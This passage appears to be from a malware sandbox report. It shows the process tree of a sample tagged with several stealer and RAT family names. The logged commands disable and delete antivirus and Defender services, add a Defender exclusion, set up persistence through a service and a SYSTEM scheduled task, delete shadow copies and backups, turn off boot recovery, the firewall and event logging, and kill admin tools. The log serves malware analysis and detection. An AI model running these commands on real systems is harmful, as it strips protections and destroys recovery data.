                                                                                                                                                                  PID:4616
                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                  taskkill /f /im pwsh.exe
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                  PID:4708
                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                  taskkill /f /im taskkill.exe
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                  PID:392
                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                  taskkill /f /im wmic.exe
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                  PID:2872
                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                  taskkill /f /im diskpart.exe
                                                                                                                                                                  3⤵
                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                  PID:1864
                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                  net stop AVP /y
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:4100
                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                      C:\Windows\system32\net1 stop AVP /y
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:948
                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                      sc config AVP start= disabled
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                      PID:2488
                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                      sc delete AVP
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:2708
                                                                                                                                                                      • C:\Windows\system32\net.exe
                                                                                                                                                                        net stop KAV /y
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:3456
                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                            C:\Windows\system32\net1 stop KAV /y
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:564
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc config KAV start= disabled
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:4256
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            sc delete KAV
                                                                                                                                                                            3⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:3176
                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                            net stop BDSS /y
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:2300
                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                C:\Windows\system32\net1 stop BDSS /y
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:4828
                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                sc config BDSS start= disabled
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                PID:4644
                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                sc delete BDSS
                                                                                                                                                                                3⤵
                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                PID:4504
                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                net stop Bitdefender /y
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:4680
                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                    C:\Windows\system32\net1 stop Bitdefender /y
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:4412
                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                    sc config Bitdefender start= disabled
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:3308
                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                      sc delete Bitdefender
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                      PID:1800
                                                                                                                                                                                    • C:\Windows\system32\net.exe
                                                                                                                                                                                      net stop "avast! Antivirus" /y
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:2096
                                                                                                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                                                                                                          C:\Windows\system32\net1 stop "avast! Antivirus" /y
                                                                                                                                                                                          4⤵
                                                                                                                                                                                            PID:4136
                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                          sc config "avast! Antivirus" start= disabled
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:4924
                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                            sc delete "avast! Antivirus"
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:1464
                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                              net stop "avast! Service" /y
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:4580
                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                  C:\Windows\system32\net1 stop "avast! Service" /y
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:2864
                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                  sc config "avast! Service" start= disabled
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                                  PID:2144
                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                  sc delete "avast! Service"
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:1528
                                                                                                                                                                                                  • C:\Windows\system32\net.exe
                                                                                                                                                                                                    net stop AVG /y
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:1700
                                                                                                                                                                                                      • C:\Windows\system32\net1.exe
                                                                                                                                                                                                        C:\Windows\system32\net1 stop AVG /y
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:1252
                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                        sc config AVG start= disabled
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:4808
                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                          sc delete AVG
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:1308
                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                            net stop MBAMService /y
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:3820
                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                C:\Windows\system32\net1 stop MBAMService /y
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:2632
                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                sc config MBAMService start= disabled
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:4836
                                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                  sc delete MBAMService
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                                                  PID:2616
                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                  net stop DrWeb /y
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:1712
                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                      C:\Windows\system32\net1 stop DrWeb /y
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:2236
                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                      sc config DrWeb start= disabled
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:3108
                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                        sc delete DrWeb
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                        PID:720
                                                                                                                                                                                                                      • C:\Windows\system32\net.exe
                                                                                                                                                                                                                        net stop wscsvc /y
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:3260
                                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                            C:\Windows\system32\net1 stop wscsvc /y
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:3152
                                                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                            sc config wscsvc start= disabled
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                            PID:4776
                                                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                            sc delete wscsvc
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:2412
                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                              net stop SecurityHealthService /y
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:4452
                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                  C:\Windows\system32\net1 stop SecurityHealthService /y
                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                    PID:5072
                                                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                  sc config SecurityHealthService start= disabled
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                                                                  PID:1968
                                                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                  sc delete SecurityHealthService
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                                                                  PID:3848
                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                  net stop Sense /y
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:3676
                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                      C:\Windows\system32\net1 stop Sense /y
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:1428
                                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                      sc config Sense start= disabled
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:216
                                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                        sc delete Sense
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                        PID:4780
                                                                                                                                                                                                                                      • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                        net stop WinDefend /y
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:4840
                                                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                            C:\Windows\system32\net1 stop WinDefend /y
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                              PID:1604
                                                                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                            sc config WinDefend start= disabled
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                            PID:3088
                                                                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                            sc delete WinDefend
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                            PID:2772
                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                            net stop WdNisSvc /y
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:4192
                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                C:\Windows\system32\net1 stop WdNisSvc /y
                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                  PID:4968
                                                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                sc config WdNisSvc start= disabled
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                                                                                                PID:3196
                                                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                sc delete WdNisSvc
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:4768
                                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                  net stop MpKslDrv /y
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:4444
                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\net1 stop MpKslDrv /y
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:1752
                                                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                      sc config MpKslDrv start= disabled
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:4356
                                                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                        sc delete MpKslDrv
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                        PID:1128
                                                                                                                                                                                                                                                      • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                        net stop NisSrv /y
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:4124
                                                                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\net1 stop NisSrv /y
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:4296
                                                                                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                            sc config NisSrv start= disabled
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                            PID:4828
                                                                                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                            sc delete NisSrv
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                                                                                            PID:644
                                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe""
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:2948
                                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                              svchost.exe C:\Windows\system32\cmd.exe /c "sc create IronChainSecurity binPath= "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" start= auto DisplayName= "IronChain Security Component""
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:3796
                                                                                                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                svchost.exe C:\Windows\system32\cmd.exe /c "sc description IronChainSecurity "Trusted security module""
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:432
                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                  svchost.exe C:\Windows\system32\cmd.exe /c "sc start IronChainSecurity"
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:2256
                                                                                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                    svchost.exe C:\Windows\system32\cmd.exe /c "sc failure IronChainSecurity reset= 86400 actions= restart/5000/restart/5000/restart/5000"
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:4936
                                                                                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                      svchost.exe C:\Windows\system32\cmd.exe /c "sc critical IronChainSecurity"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:4016
                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                        svchost.exe C:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                          PID:4396
                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                          svchost.exe C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:2172
                                                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:3428
                                                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                              svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:2632
                                                                                                                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} safeboot minimal"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:892
                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                  svchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:1932
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                    svchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f"
                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                      PID:1784
                                                                                                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                      svchost.exe C:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                        PID:3620
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                        svchost.exe C:\Windows\system32\cmd.exe /c "sc stop swprv"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:760
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\mshta.exe
                                                                                                                                                                                                                                                                                          mshta.exe C:\Windows\system32\config\systemprofile\Desktop\IronChain.hta
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:4504
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                        PID:4848
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                          PID:4164
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                            PID:2288
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                              schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                              PID:4760
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "schtasks /run /tn "IronChain_SYSTEM""
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                            PID:5048
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                              schtasks /run /tn "IronChain_SYSTEM"
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                PID:1744
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                              PID:2176
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                                                                netsh advfirewall set allprofiles state off
                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                • Modifies Windows Firewall
                                                                                                                                                                                                                                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                                                                                                                                PID:4976
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "sc stop EventLog"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                              PID:2496
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                sc stop EventLog
                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                  PID:3800
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                PID:452
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                  sc config EventLog start= disabled
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                                                                                                                                                  PID:2036
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "sc stop Resmon"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                PID:4064
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                  sc stop Resmon
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                    PID:4320
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                  PID:1000
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                    sc config Resmon start= disabled
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                    • Launches sc.exe
                                                                                                                                                                                                                                                                                                    PID:4652
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill /f /im Taskmgr.exe
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  PID:5064
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill /f /im regedit.exe
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  PID:5044
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill /f /im cmd.exe
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  PID:3192
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill /f /im msconfig.exe
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  PID:5076
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill /f /im procexp.exe
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  PID:4492
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill /f /im procexp64.exe
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  PID:5060
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill /f /im services.msc
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  PID:2412
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill /f /im mmc.exe
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  PID:2352
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill /f /im SystemSettings.exe
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  PID:3052
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill /f /im control.exe
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  PID:2528
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill /f /im WindowsSecurity.exe
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  PID:624
                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:4060
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                    taskkill /f /im MsMpEng.exe
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                                    PID:4256
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                                                                                                    taskkill /f /im powershell.exe
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                                                                                    PID:1176
